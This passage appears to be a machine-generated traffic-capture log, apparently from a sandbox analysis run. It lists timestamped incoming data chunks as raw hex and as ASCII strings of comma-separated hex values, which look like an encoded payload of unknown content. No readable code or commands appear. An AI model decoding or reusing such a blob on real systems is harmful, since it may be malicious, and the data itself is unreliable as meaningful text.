2023-04-20 23:05:22 UTC	17293	IN	Data Raw: 31 35 2c 64 31 2c 61 61 2c 31 31 30 2c 63 30 2c 63 35 2c 65 65 2c 31 30 34 2c 31 32 39 2c 31 31 62 2c 31 31 36 2c 38 38 2c 62 34 2c 31 35 33 2c 64 38 2c 31 30 35 2c 31 31 39 2c 39 31 2c 66 63 2c 64 63 2c 36 64 2c 31 35 61 2c 37 31 2c 65 66 2c 65 35 2c 31 35 37 2c 31 32 61 2c 31 33 61 2c 66 35 2c 62 61 2c 37 31 2c 31 37 34 2c 61 64 2c 65 32 2c 31 32 66 2c 31 32 39 2c 38 61 2c 31 31 64 2c 38 30 2c 31 32 30 2c 37 65 2c 65 37 2c 31 33 65 2c 66 31 2c 31 31 30 2c 31 31 63 2c 39 33 2c 38 30 2c 65 64 2c 64 66 2c 64 66 2c 31 32 33 2c 63 32 2c 65 30 2c 31 33 36 2c 31 31 31 2c 63 63 2c 64 35 2c 66 37 2c 31 32 66 2c 65 31 2c 64 63 2c 61 33 2c 66 34 2c 66 32 2c 31 33 63 2c 31 34 31 2c 31 32 33 2c 37 31 2c 31 32 32 2c 31 30 61 2c 31 30 35 2c 64 39 2c 61 62 2c 66 32 2c Data Ascii: 15,d1,aa,110,c0,c5,ee,104,129,11b,116,88,b4,153,d8,105,119,91,fc,dc,6d,15a,71,ef,e5,157,12a,13a,f5,ba,71,174,ad,e2,12f,129,8a,11d,80,120,7e,e7,13e,f1,110,11c,93,80,ed,df,df,123,c2,e0,136,111,cc,d5,f7,12f,e1,dc,a3,f4,f2,13c,141,123,71,122,10a,105,d9,ab,f2,
2023-04-20 23:05:22 UTC	17309	IN	Data Raw: 34 64 2c 31 35 38 2c 31 30 33 2c 66 64 2c 31 34 33 2c 39 34 2c 31 31 34 2c 34 37 2c 66 63 2c 38 39 2c 66 66 2c 62 63 2c 31 34 34 2c 64 66 2c 31 34 39 2c 65 35 2c 31 32 39 2c 37 62 2c 31 34 39 2c 39 65 2c 31 36 62 2c 31 32 33 2c 31 34 33 2c 38 37 2c 33 66 2c 31 33 65 2c 34 35 2c 64 37 2c 37 39 2c 37 64 2c 31 35 37 2c 37 30 2c 37 65 2c 66 65 2c 33 33 2c 36 32 2c 38 34 2c 38 36 2c 38 63 2c 66 63 2c 31 32 62 2c 37 38 2c 33 37 2c 37 62 2c 39 34 2c 61 35 2c 39 39 2c 64 34 2c 38 39 2c 63 63 2c 62 31 2c 31 31 31 2c 37 62 2c 37 35 2c 31 34 63 2c 38 38 2c 38 66 2c 65 31 2c 39 35 2c 63 61 2c 66 39 2c 37 63 2c 63 66 2c 39 63 2c 31 36 65 2c 37 64 2c 31 32 63 2c 38 38 2c 64 34 2c 31 35 36 2c 62 62 2c 31 33 37 2c 63 62 2c 31 33 63 2c 63 65 2c 37 32 2c 31 34 34 2c 38 30 Data Ascii: 4d,158,103,fd,143,94,114,47,fc,89,ff,bc,144,df,149,e5,129,7b,149,9e,16b,123,143,87,3f,13e,45,d7,79,7d,157,70,7e,fe,33,62,84,86,8c,fc,12b,78,37,7b,94,a5,99,d4,89,cc,b1,111,7b,75,14c,88,8f,e1,95,ca,f9,7c,cf,9c,16e,7d,12c,88,d4,156,bb,137,cb,13c,ce,72,144,80
2023-04-20 23:05:22 UTC	17325	IN	Data Raw: 39 2c 64 61 2c 37 35 2c 38 62 2c 35 61 2c 63 31 2c 66 37 2c 31 32 38 2c 31 33 31 2c 62 33 2c 38 63 2c 31 34 66 2c 31 35 36 2c 63 63 2c 35 61 2c 62 65 2c 31 35 30 2c 31 31 63 2c 66 32 2c 31 33 62 2c 38 36 2c 65 61 2c 66 39 2c 65 64 2c 62 63 2c 35 36 2c 31 32 39 2c 38 65 2c 31 35 36 2c 35 64 2c 31 32 61 2c 62 61 2c 66 34 2c 63 31 2c 35 35 2c 39 32 2c 35 39 2c 65 61 2c 62 38 2c 66 30 2c 31 33 31 2c 31 30 39 2c 64 30 2c 37 39 2c 31 35 38 2c 38 37 2c 31 32 31 2c 37 36 2c 31 35 30 2c 31 35 66 2c 31 34 65 2c 64 65 2c 31 32 30 2c 62 61 2c 31 30 37 2c 31 30 37 2c 31 32 34 2c 64 31 2c 37 62 2c 36 66 2c 31 35 63 2c 61 36 2c 31 36 64 2c 31 30 30 2c 34 36 2c 31 33 36 2c 31 33 64 2c 31 36 65 2c 31 32 66 2c 61 31 2c 31 30 34 2c 31 32 32 2c 37 65 2c 31 30 36 2c 38 37 2c Data Ascii: 9,da,75,8b,5a,c1,f7,128,131,b3,8c,14f,156,cc,5a,be,150,11c,f2,13b,86,ea,f9,ed,bc,56,129,8e,156,5d,12a,ba,f4,c1,55,92,59,ea,b8,f0,131,109,d0,79,158,87,121,76,150,15f,14e,de,120,ba,107,107,124,d1,7b,6f,15c,a6,16d,100,46,136,13d,16e,12f,a1,104,122,7e,106,87,
2023-04-20 23:05:22 UTC	17341	IN	Data Raw: 2c 31 34 34 2c 62 33 2c 64 63 2c 31 33 65 2c 37 31 2c 35 39 2c 38 38 2c 37 64 2c 36 64 2c 38 36 2c 63 31 2c 38 33 2c 61 34 2c 61 35 2c 63 61 2c 39 31 2c 37 31 2c 35 38 2c 63 32 2c 61 61 2c 31 34 33 2c 31 32 65 2c 31 31 33 2c 35 63 2c 31 35 37 2c 38 65 2c 31 33 66 2c 39 31 2c 61 66 2c 66 65 2c 61 38 2c 61 38 2c 31 33 33 2c 65 38 2c 66 61 2c 31 37 35 2c 61 34 2c 37 61 2c 61 63 2c 31 30 37 2c 66 30 2c 64 36 2c 62 35 2c 31 34 31 2c 31 31 64 2c 36 65 2c 66 64 2c 31 35 62 2c 31 32 39 2c 33 61 2c 31 32 61 2c 61 64 2c 31 34 32 2c 37 65 2c 62 62 2c 64 61 2c 31 32 36 2c 62 62 2c 61 64 2c 31 33 32 2c 64 38 2c 64 36 2c 61 37 2c 31 33 33 2c 37 36 2c 31 35 30 2c 66 34 2c 31 34 32 2c 64 61 2c 62 32 2c 31 31 64 2c 34 30 2c 36 65 2c 34 37 2c 37 64 2c 31 30 39 2c 31 36 33 Data Ascii: ,144,b3,dc,13e,71,59,88,7d,6d,86,c1,83,a4,a5,ca,91,71,58,c2,aa,143,12e,113,5c,157,8e,13f,91,af,fe,a8,a8,133,e8,fa,175,a4,7a,ac,107,f0,d6,b5,141,11d,6e,fd,15b,129,3a,12a,ad,142,7e,bb,da,126,bb,ad,132,d8,d6,a7,133,76,150,f4,142,da,b2,11d,40,6e,47,7d,109,163
2023-04-20 23:05:23 UTC	17357	IN	Data Raw: 2c 66 37 2c 36 35 2c 31 35 30 2c 31 34 61 2c 39 30 2c 61 37 2c 64 36 2c 31 32 35 2c 35 31 2c 36 35 2c 34 39 2c 66 38 2c 62 61 2c 31 34 32 2c 31 31 63 2c 62 65 2c 66 65 2c 31 35 32 2c 38 31 2c 36 32 2c 61 61 2c 37 66 2c 64 66 2c 63 61 2c 31 32 31 2c 64 32 2c 34 34 2c 36 35 2c 31 34 61 2c 63 65 2c 62 65 2c 31 31 37 2c 63 66 2c 65 36 2c 37 63 2c 61 34 2c 31 36 31 2c 31 32 36 2c 61 35 2c 62 64 2c 62 34 2c 31 30 62 2c 31 31 35 2c 31 31 39 2c 38 36 2c 31 34 34 2c 62 65 2c 37 37 2c 66 63 2c 37 39 2c 66 37 2c 35 66 2c 31 30 64 2c 64 34 2c 38 34 2c 37 37 2c 36 63 2c 31 33 30 2c 31 30 36 2c 36 35 2c 31 32 61 2c 36 65 2c 31 34 66 2c 66 36 2c 36 36 2c 31 33 65 2c 35 66 2c 63 30 2c 31 34 32 2c 31 30 36 2c 64 39 2c 31 31 34 2c 34 37 2c 64 39 2c 38 63 2c 31 32 64 2c 63 Data Ascii: ,f7,65,150,14a,90,a7,d6,125,51,65,49,f8,ba,142,11c,be,fe,152,81,62,aa,7f,df,ca,121,d2,44,65,14a,ce,be,117,cf,e6,7c,a4,161,126,a5,bd,b4,10b,115,119,86,144,be,77,fc,79,f7,5f,10d,d4,84,77,6c,130,106,65,12a,6e,14f,f6,66,13e,5f,c0,142,106,d9,114,47,d9,8c,12d,c
2023-04-20 23:05:23 UTC	17373	IN	Data Raw: 35 66 2c 37 66 2c 36 37 2c 36 31 2c 37 38 2c 61 33 2c 65 30 2c 31 32 37 2c 39 36 2c 38 39 2c 64 38 2c 31 34 33 2c 39 62 2c 38 35 2c 62 63 2c 63 36 2c 36 61 2c 34 61 2c 62 32 2c 31 31 66 2c 63 31 2c 35 30 2c 63 65 2c 66 34 2c 31 30 37 2c 38 32 2c 36 36 2c 31 30 64 2c 31 33 34 2c 37 34 2c 36 62 2c 63 39 2c 31 33 37 2c 31 34 39 2c 35 61 2c 31 33 65 2c 31 32 62 2c 31 35 39 2c 64 62 2c 37 32 2c 36 30 2c 36 32 2c 38 36 2c 36 65 2c 36 61 2c 38 66 2c 31 33 62 2c 37 61 2c 37 31 2c 34 37 2c 31 31 31 2c 37 63 2c 38 36 2c 66 61 2c 31 32 38 2c 31 32 62 2c 37 36 2c 31 33 62 2c 66 33 2c 39 62 2c 35 64 2c 35 37 2c 63 61 2c 37 63 2c 36 65 2c 37 61 2c 35 35 2c 63 61 2c 31 34 30 2c 65 30 2c 31 36 31 2c 38 32 2c 31 33 34 2c 61 32 2c 38 36 2c 38 32 2c 65 36 2c 31 33 64 2c 61 Data Ascii: 5f,7f,67,61,78,a3,e0,127,96,89,d8,143,9b,85,bc,c6,6a,4a,b2,11f,c1,50,ce,f4,107,82,66,10d,134,74,6b,c9,137,149,5a,13e,12b,159,db,72,60,62,86,6e,6a,8f,13b,7a,71,47,111,7c,86,fa,128,12b,76,13b,f3,9b,5d,57,ca,7c,6e,7a,55,ca,140,e0,161,82,134,a2,86,82,e6,13d,a
2023-04-20 23:05:23 UTC	17389	IN	Data Raw: 31 30 61 2c 31 30 61 2c 61 31 2c 39 35 2c 38 33 2c 38 64 2c 39 62 2c 31 33 39 2c 65 31 2c 33 65 2c 65 62 2c 31 36 32 2c 64 36 2c 38 62 2c 31 32 33 2c 31 35 31 2c 31 31 61 2c 31 34 31 2c 37 63 2c 31 35 63 2c 31 31 38 2c 31 31 38 2c 31 34 39 2c 62 30 2c 37 31 2c 39 34 2c 31 32 37 2c 31 34 65 2c 35 62 2c 38 63 2c 66 64 2c 36 34 2c 39 63 2c 38 32 2c 63 64 2c 31 33 63 2c 37 64 2c 37 64 2c 31 34 31 2c 31 34 31 2c 39 35 2c 31 30 39 2c 31 34 35 2c 31 33 30 2c 35 34 2c 38 38 2c 31 33 64 2c 37 64 2c 31 31 63 2c 61 33 2c 61 33 2c 31 31 32 2c 31 33 31 2c 31 33 62 2c 36 33 2c 62 31 2c 31 33 61 2c 64 31 2c 33 61 2c 37 38 2c 31 35 30 2c 31 37 37 2c 65 33 2c 35 61 2c 31 34 64 2c 31 32 63 2c 62 32 2c 39 32 2c 62 66 2c 38 39 2c 31 34 34 2c 66 32 2c 31 33 38 2c 38 30 2c 31 Data Ascii: 10a,10a,a1,95,83,8d,9b,139,e1,3e,eb,162,d6,8b,123,151,11a,141,7c,15c,118,118,149,b0,71,94,127,14e,5b,8c,fd,64,9c,82,cd,13c,7d,7d,141,141,95,109,145,130,54,88,13d,7d,11c,a3,a3,112,131,13b,63,b1,13a,d1,3a,78,150,177,e3,5a,14d,12c,b2,92,bf,89,144,f2,138,80,1
2023-04-20 23:05:23 UTC	17405	IN	Data Raw: 63 34 2c 39 66 2c 63 36 2c 31 35 30 2c 31 30 62 2c 31 33 34 2c 31 34 65 2c 31 33 66 2c 38 36 2c 38 30 2c 37 35 2c 34 33 2c 31 35 31 2c 31 30 31 2c 37 61 2c 31 33 32 2c 64 61 2c 31 33 33 2c 65 33 2c 64 37 2c 31 32 64 2c 64 64 2c 31 36 32 2c 31 33 39 2c 37 38 2c 31 32 63 2c 31 32 32 2c 31 32 30 2c 37 34 2c 31 31 63 2c 64 35 2c 31 31 66 2c 39 62 2c 34 66 2c 31 34 65 2c 63 31 2c 38 61 2c 64 64 2c 66 61 2c 31 34 63 2c 31 30 39 2c 31 31 66 2c 61 39 2c 31 32 30 2c 31 31 31 2c 31 32 65 2c 38 31 2c 31 35 36 2c 61 61 2c 31 36 33 2c 64 39 2c 62 61 2c 36 36 2c 31 33 30 2c 31 36 63 2c 63 64 2c 31 33 32 2c 62 30 2c 37 66 2c 34 31 2c 38 66 2c 62 32 2c 31 35 39 2c 37 64 2c 63 32 2c 37 31 2c 37 37 2c 31 34 62 2c 64 66 2c 31 32 64 2c 37 30 2c 64 38 2c 63 66 2c 62 64 2c 36 Data Ascii: c4,9f,c6,150,10b,134,14e,13f,86,80,75,43,151,101,7a,132,da,133,e3,d7,12d,dd,162,139,78,12c,122,120,74,11c,d5,11f,9b,4f,14e,c1,8a,dd,fa,14c,109,11f,a9,120,111,12e,81,156,aa,163,d9,ba,66,130,16c,cd,132,b0,7f,41,8f,b2,159,7d,c2,71,77,14b,df,12d,70,d8,cf,bd,6
2023-04-20 23:05:23 UTC	17421	IN	Data Raw: 2c 62 32 2c 61 61 2c 31 32 39 2c 31 35 35 2c 63 62 2c 62 33 2c 39 34 2c 36 65 2c 38 33 2c 31 32 39 2c 38 64 2c 31 35 34 2c 35 36 2c 31 30 65 2c 37 64 2c 35 62 2c 64 36 2c 64 62 2c 31 35 39 2c 31 35 66 2c 65 36 2c 65 37 2c 65 65 2c 35 61 2c 66 34 2c 39 39 2c 65 37 2c 65 33 2c 38 39 2c 63 33 2c 37 39 2c 65 66 2c 37 37 2c 38 66 2c 63 33 2c 65 36 2c 31 31 34 2c 31 34 66 2c 63 39 2c 31 32 39 2c 63 35 2c 31 30 64 2c 31 36 65 2c 37 30 2c 35 66 2c 37 65 2c 37 37 2c 64 30 2c 38 65 2c 31 31 30 2c 63 61 2c 66 64 2c 37 35 2c 35 32 2c 31 32 37 2c 66 61 2c 63 36 2c 31 31 35 2c 66 62 2c 66 64 2c 63 66 2c 65 35 2c 65 66 2c 31 31 65 2c 31 33 30 2c 37 61 2c 36 63 2c 31 33 33 2c 61 65 2c 31 34 36 2c 31 31 39 2c 66 33 2c 31 31 34 2c 31 34 63 2c 31 36 33 2c 37 66 2c 63 39 2c Data Ascii: ,b2,aa,129,155,cb,b3,94,6e,83,129,8d,154,56,10e,7d,5b,d6,db,159,15f,e6,e7,ee,5a,f4,99,e7,e3,89,c3,79,ef,77,8f,c3,e6,114,14f,c9,129,c5,10d,16e,70,5f,7e,77,d0,8e,110,ca,fd,75,52,127,fa,c6,115,fb,fd,cf,e5,ef,11e,130,7a,6c,133,ae,146,119,f3,114,14c,163,7f,c9,
2023-04-20 23:05:23 UTC	17437	IN	Data Raw: 34 2c 39 37 2c 64 36 2c 65 63 2c 31 34 33 2c 39 64 2c 31 32 33 2c 39 62 2c 31 32 64 2c 31 35 38 2c 38 61 2c 31 32 35 2c 66 63 2c 37 34 2c 64 61 2c 63 62 2c 31 32 63 2c 31 34 39 2c 31 34 30 2c 38 39 2c 61 35 2c 31 30 35 2c 61 62 2c 65 37 2c 64 62 2c 39 31 2c 36 65 2c 31 31 39 2c 31 34 66 2c 31 31 64 2c 37 35 2c 37 64 2c 65 62 2c 62 63 2c 39 30 2c 31 32 36 2c 37 63 2c 31 32 39 2c 38 39 2c 31 30 36 2c 31 36 32 2c 65 39 2c 31 32 32 2c 62 32 2c 64 33 2c 31 33 31 2c 31 31 62 2c 38 66 2c 66 66 2c 31 31 35 2c 31 30 63 2c 31 31 64 2c 63 36 2c 64 35 2c 31 30 39 2c 31 34 36 2c 31 31 34 2c 39 35 2c 64 61 2c 39 39 2c 31 30 36 2c 36 30 2c 64 38 2c 66 30 2c 38 61 2c 39 36 2c 36 61 2c 31 36 64 2c 37 63 2c 62 65 2c 37 33 2c 61 61 2c 31 37 30 2c 37 66 2c 31 32 31 2c 61 38 Data Ascii: 4,97,d6,ec,143,9d,123,9b,12d,158,8a,125,fc,74,da,cb,12c,149,140,89,a5,105,ab,e7,db,91,6e,119,14f,11d,75,7d,eb,bc,90,126,7c,129,89,106,162,e9,122,b2,d3,131,11b,8f,ff,115,10c,11d,c6,d5,109,146,114,95,da,99,106,60,d8,f0,8a,96,6a,16d,7c,be,73,aa,170,7f,121,a8
2023-04-20 23:05:23 UTC	17453	IN	Data Raw: 2c 38 63 2c 31 31 31 2c 34 38 2c 31 31 65 2c 63 33 2c 31 32 39 2c 31 30 66 2c 31 31 35 2c 31 31 66 2c 64 35 2c 31 32 31 2c 65 61 2c 62 30 2c 38 31 2c 31 32 63 2c 65 30 2c 39 31 2c 31 35 30 2c 62 32 2c 66 65 2c 66 38 2c 66 35 2c 31 32 31 2c 66 36 2c 38 66 2c 36 62 2c 36 66 2c 31 31 66 2c 64 36 2c 31 32 39 2c 38 39 2c 35 64 2c 39 39 2c 31 33 34 2c 36 36 2c 31 32 65 2c 31 31 65 2c 64 38 2c 62 38 2c 64 33 2c 64 39 2c 65 39 2c 64 33 2c 38 32 2c 35 34 2c 62 31 2c 31 35 65 2c 31 36 37 2c 31 34 37 2c 39 36 2c 39 32 2c 38 62 2c 39 61 2c 35 37 2c 65 37 2c 31 34 61 2c 31 31 65 2c 36 64 2c 31 32 32 2c 31 36 63 2c 37 63 2c 31 32 39 2c 38 39 2c 31 30 35 2c 37 38 2c 65 36 2c 64 32 2c 39 39 2c 65 33 2c 35 30 2c 63 31 2c 39 62 2c 64 37 2c 36 62 2c 31 35 33 2c 38 31 2c 39 Data Ascii: ,8c,111,48,11e,c3,129,10f,115,11f,d5,121,ea,b0,81,12c,e0,91,150,b2,fe,f8,f5,121,f6,8f,6b,6f,11f,d6,129,89,5d,99,134,66,12e,11e,d8,b8,d3,d9,e9,d3,82,54,b1,15e,167,147,96,92,8b,9a,57,e7,14a,11e,6d,122,16c,7c,129,89,105,78,e6,d2,99,e3,50,c1,9b,d7,6b,153,81,9
2023-04-20 23:05:23 UTC	17469	IN	Data Raw: 38 2c 61 38 2c 63 65 2c 61 37 2c 65 63 2c 31 35 36 2c 31 37 33 2c 31 36 39 2c 31 30 33 2c 64 63 2c 31 34 31 2c 37 63 2c 31 31 66 2c 62 62 2c 35 36 2c 62 33 2c 31 34 39 2c 64 31 2c 36 64 2c 31 36 64 2c 37 63 2c 31 32 39 2c 65 33 2c 61 63 2c 65 38 2c 64 63 2c 38 35 2c 39 33 2c 31 32 61 2c 66 63 2c 63 35 2c 31 33 63 2c 31 30 36 2c 31 30 35 2c 39 31 2c 65 63 2c 31 34 62 2c 61 61 2c 38 32 2c 31 30 31 2c 31 32 34 2c 31 32 35 2c 65 34 2c 63 66 2c 31 31 32 2c 36 64 2c 31 31 66 2c 65 61 2c 66 35 2c 31 32 65 2c 31 31 66 2c 31 33 65 2c 61 36 2c 33 32 2c 38 39 2c 31 33 64 2c 31 33 35 2c 31 35 36 2c 31 32 61 2c 33 61 2c 65 63 2c 31 32 62 2c 64 37 2c 62 32 2c 31 30 31 2c 64 39 2c 31 33 38 2c 31 30 33 2c 63 38 2c 31 33 32 2c 31 32 62 2c 31 32 34 2c 36 62 2c 66 39 2c 36 Data Ascii: 8,a8,ce,a7,ec,156,173,169,103,dc,141,7c,11f,bb,56,b3,149,d1,6d,16d,7c,129,e3,ac,e8,dc,85,93,12a,fc,c5,13c,106,105,91,ec,14b,aa,82,101,124,125,e4,cf,112,6d,11f,ea,f5,12e,11f,13e,a6,32,89,13d,135,156,12a,3a,ec,12b,d7,b2,101,d9,138,103,c8,132,12b,124,6b,f9,6
2023-04-20 23:05:24 UTC	17485	IN	Data Raw: 61 2c 31 33 62 2c 31 37 34 2c 31 32 35 2c 66 38 2c 39 37 2c 31 32 39 2c 63 66 2c 39 35 2c 39 36 2c 37 61 2c 37 61 2c 31 35 36 2c 65 37 2c 31 36 35 2c 36 38 2c 66 35 2c 39 64 2c 36 63 2c 63 39 2c 38 30 2c 31 33 34 2c 37 36 2c 65 64 2c 38 33 2c 31 34 30 2c 39 61 2c 61 66 2c 61 37 2c 64 32 2c 31 31 30 2c 31 32 66 2c 31 31 34 2c 39 31 2c 31 33 61 2c 66 66 2c 64 65 2c 31 31 65 2c 66 62 2c 31 32 37 2c 65 63 2c 38 63 2c 31 35 63 2c 64 30 2c 37 30 2c 31 31 61 2c 61 61 2c 31 31 36 2c 63 30 2c 31 33 31 2c 35 35 2c 65 63 2c 63 39 2c 66 61 2c 34 62 2c 63 38 2c 35 33 2c 35 62 2c 31 34 62 2c 37 66 2c 31 35 38 2c 63 35 2c 65 30 2c 36 61 2c 31 33 36 2c 38 39 2c 66 66 2c 31 31 62 2c 63 38 2c 31 30 35 2c 33 39 2c 62 35 2c 31 32 37 2c 39 34 2c 37 62 2c 36 63 2c 31 31 39 2c Data Ascii: a,13b,174,125,f8,97,129,cf,95,96,7a,7a,156,e7,165,68,f5,9d,6c,c9,80,134,76,ed,83,140,9a,af,a7,d2,110,12f,114,91,13a,ff,de,11e,fb,127,ec,8c,15c,d0,70,11a,aa,116,c0,131,55,ec,c9,fa,4b,c8,53,5b,14b,7f,158,c5,e0,6a,136,89,ff,11b,c8,105,39,b5,127,94,7b,6c,119,
2023-04-20 23:05:24 UTC	17501	IN	Data Raw: 2c 37 39 2c 31 33 34 2c 31 31 32 2c 31 34 65 2c 31 32 36 2c 61 37 2c 31 30 31 2c 31 34 66 2c 63 62 2c 31 33 64 2c 38 38 2c 31 34 31 2c 37 61 2c 31 31 65 2c 62 61 2c 31 34 66 2c 36 66 2c 38 39 2c 65 63 2c 36 38 2c 31 32 66 2c 31 31 65 2c 31 31 34 2c 31 36 31 2c 31 31 39 2c 34 32 2c 31 31 63 2c 31 36 33 2c 31 32 39 2c 37 32 2c 35 62 2c 31 35 66 2c 61 62 2c 62 66 2c 35 65 2c 38 33 2c 31 32 36 2c 36 38 2c 31 33 61 2c 62 33 2c 31 34 66 2c 65 39 2c 31 31 30 2c 61 62 2c 31 34 31 2c 63 30 2c 31 34 36 2c 37 31 2c 31 34 64 2c 38 39 2c 31 31 63 2c 31 32 38 2c 64 66 2c 36 65 2c 31 34 39 2c 61 38 2c 31 35 36 2c 38 35 2c 31 34 34 2c 65 38 2c 66 38 2c 31 31 66 2c 31 32 38 2c 37 38 2c 64 64 2c 65 62 2c 66 63 2c 63 64 2c 65 38 2c 65 32 2c 31 33 38 2c 38 64 2c 31 32 36 2c Data Ascii: ,79,134,112,14e,126,a7,101,14f,cb,13d,88,141,7a,11e,ba,14f,6f,89,ec,68,12f,11e,114,161,119,42,11c,163,129,72,5b,15f,ab,bf,5e,83,126,68,13a,b3,14f,e9,110,ab,141,c0,146,71,14d,89,11c,128,df,6e,149,a8,156,85,144,e8,f8,11f,128,78,dd,eb,fc,cd,e8,e2,138,8d,126,
2023-04-20 23:05:24 UTC	17517	IN	Data Raw: 2c 35 66 2c 31 30 38 2c 31 36 34 2c 31 35 34 2c 36 64 2c 31 36 35 2c 66 38 2c 37 34 2c 35 37 2c 31 34 66 2c 61 33 2c 36 32 2c 35 34 2c 35 63 2c 31 30 38 2c 62 62 2c 35 64 2c 64 34 2c 38 61 2c 62 31 2c 37 31 2c 31 32 37 2c 37 36 2c 63 34 2c 62 36 2c 31 34 61 2c 65 32 2c 39 62 2c 31 32 35 2c 31 30 35 2c 62 33 2c 34 62 2c 62 39 2c 31 33 66 2c 61 30 2c 62 31 2c 66 36 2c 31 34 38 2c 31 35 39 2c 61 61 2c 66 61 2c 31 33 63 2c 38 64 2c 31 31 31 2c 31 30 31 2c 38 62 2c 66 34 2c 33 39 2c 35 38 2c 37 61 2c 31 34 66 2c 65 61 2c 37 32 2c 62 30 2c 31 34 34 2c 38 32 2c 31 33 31 2c 31 31 62 2c 31 34 33 2c 38 30 2c 31 33 65 2c 33 64 2c 35 65 2c 38 65 2c 31 35 30 2c 31 36 39 2c 36 64 2c 31 35 36 2c 36 64 2c 61 64 2c 38 37 2c 63 62 2c 31 34 65 2c 31 32 31 2c 31 30 36 2c 31 Data Ascii: ,5f,108,164,154,6d,165,f8,74,57,14f,a3,62,54,5c,108,bb,5d,d4,8a,b1,71,127,76,c4,b6,14a,e2,9b,125,105,b3,4b,b9,13f,a0,b1,f6,148,159,aa,fa,13c,8d,111,101,8b,f4,39,58,7a,14f,ea,72,b0,144,82,131,11b,143,80,13e,3d,5e,8e,150,169,6d,156,6d,ad,87,cb,14e,121,106,1
2023-04-20 23:05:24 UTC	17533	IN	Data Raw: 30 2c 38 32 2c 63 33 2c 65 31 2c 66 30 2c 31 34 33 2c 62 35 2c 37 35 2c 64 37 2c 39 32 2c 66 34 2c 31 34 65 2c 62 37 2c 63 34 2c 31 32 34 2c 31 34 30 2c 31 34 66 2c 61 33 2c 31 37 34 2c 37 31 2c 36 62 2c 62 65 2c 31 31 31 2c 31 35 32 2c 38 62 2c 64 61 2c 64 62 2c 36 38 2c 31 30 35 2c 34 63 2c 66 37 2c 36 37 2c 36 61 2c 36 61 2c 64 39 2c 31 36 36 2c 63 66 2c 31 30 65 2c 39 30 2c 37 34 2c 39 34 2c 31 32 31 2c 65 38 2c 31 35 62 2c 37 30 2c 37 32 2c 38 65 2c 31 34 38 2c 31 32 38 2c 39 36 2c 65 38 2c 31 34 31 2c 31 34 63 2c 31 30 39 2c 34 37 2c 36 65 2c 31 33 66 2c 37 66 2c 66 38 2c 36 61 2c 31 35 63 2c 36 63 2c 62 63 2c 36 63 2c 65 33 2c 38 62 2c 31 33 34 2c 37 63 2c 31 31 65 2c 36 66 2c 31 30 33 2c 63 61 2c 31 33 35 2c 62 38 2c 31 33 33 2c 31 30 31 2c 31 35 Data Ascii: 0,82,c3,e1,f0,143,b5,75,d7,92,f4,14e,b7,c4,124,140,14f,a3,174,71,6b,be,111,152,8b,da,db,68,105,4c,f7,67,6a,6a,d9,166,cf,10e,90,74,94,121,e8,15b,70,72,8e,148,128,96,e8,141,14c,109,47,6e,13f,7f,f8,6a,15c,6c,bc,6c,e3,8b,134,7c,11e,6f,103,ca,135,b8,133,101,15
2023-04-20 23:05:24 UTC	17549	IN	Data Raw: 39 36 2c 64 37 2c 31 30 39 2c 64 62 2c 65 35 2c 39 33 2c 39 31 2c 31 32 35 2c 31 31 64 2c 35 37 2c 36 62 2c 65 36 2c 31 31 66 2c 37 61 2c 64 33 2c 64 37 2c 31 34 33 2c 62 61 2c 31 36 36 2c 31 33 66 2c 66 30 2c 37 62 2c 31 34 39 2c 31 34 61 2c 31 32 32 2c 38 33 2c 36 63 2c 39 34 2c 31 33 32 2c 37 34 2c 63 66 2c 39 39 2c 31 33 61 2c 39 33 2c 31 30 63 2c 31 33 31 2c 31 31 39 2c 38 39 2c 66 64 2c 31 32 33 2c 31 32 35 2c 31 34 37 2c 31 30 66 2c 63 37 2c 31 31 34 2c 64 31 2c 66 38 2c 37 64 2c 31 34 33 2c 64 36 2c 39 66 2c 36 61 2c 65 33 2c 38 61 2c 31 33 64 2c 38 64 2c 31 34 39 2c 35 39 2c 66 39 2c 31 33 61 2c 39 34 2c 61 37 2c 31 33 37 2c 37 32 2c 31 35 65 2c 64 30 2c 31 31 33 2c 66 65 2c 63 37 2c 31 37 33 2c 31 34 36 2c 35 38 2c 61 33 2c 31 33 61 2c 31 30 31 Data Ascii: 96,d7,109,db,e5,93,91,125,11d,57,6b,e6,11f,7a,d3,d7,143,ba,166,13f,f0,7b,149,14a,122,83,6c,94,132,74,cf,99,13a,93,10c,131,119,89,fd,123,125,147,10f,c7,114,d1,f8,7d,143,d6,9f,6a,e3,8a,13d,8d,149,59,f9,13a,94,a7,137,72,15e,d0,113,fe,c7,173,146,58,a3,13a,101
2023-04-20 23:05:24 UTC	17565	IN	Data Raw: 2c 65 34 2c 39 39 2c 31 32 32 2c 37 65 2c 31 33 30 2c 65 61 2c 39 63 2c 38 38 2c 31 31 39 2c 31 30 63 2c 31 33 66 2c 37 61 2c 31 34 39 2c 62 66 2c 31 35 65 2c 38 61 2c 66 63 2c 35 33 2c 31 34 62 2c 62 36 2c 61 62 2c 36 62 2c 61 33 2c 37 31 2c 37 38 2c 66 32 2c 38 66 2c 66 37 2c 62 32 2c 61 38 2c 31 32 38 2c 37 36 2c 31 35 30 2c 62 66 2c 31 34 34 2c 39 62 2c 31 33 34 2c 31 34 31 2c 31 30 36 2c 31 31 63 2c 64 64 2c 31 30 30 2c 31 34 33 2c 66 34 2c 31 30 65 2c 31 30 65 2c 31 34 37 2c 31 35 65 2c 33 62 2c 36 63 2c 31 32 39 2c 31 36 37 2c 31 31 62 2c 38 35 2c 66 61 2c 63 33 2c 38 61 2c 34 37 2c 31 33 32 2c 37 33 2c 31 36 36 2c 31 35 31 2c 31 31 61 2c 36 35 2c 31 31 34 2c 31 36 62 2c 38 62 2c 37 32 2c 31 34 64 2c 62 31 2c 31 30 63 2c 64 36 2c 37 32 2c 37 38 2c Data Ascii: ,e4,99,122,7e,130,ea,9c,88,119,10c,13f,7a,149,bf,15e,8a,fc,53,14b,b6,ab,6b,a3,71,78,f2,8f,f7,b2,a8,128,76,150,bf,144,9b,134,141,106,11c,dd,100,143,f4,10e,10e,147,15e,3b,6c,129,167,11b,85,fa,c3,8a,47,132,73,166,151,11a,65,114,16b,8b,72,14d,b1,10c,d6,72,78,
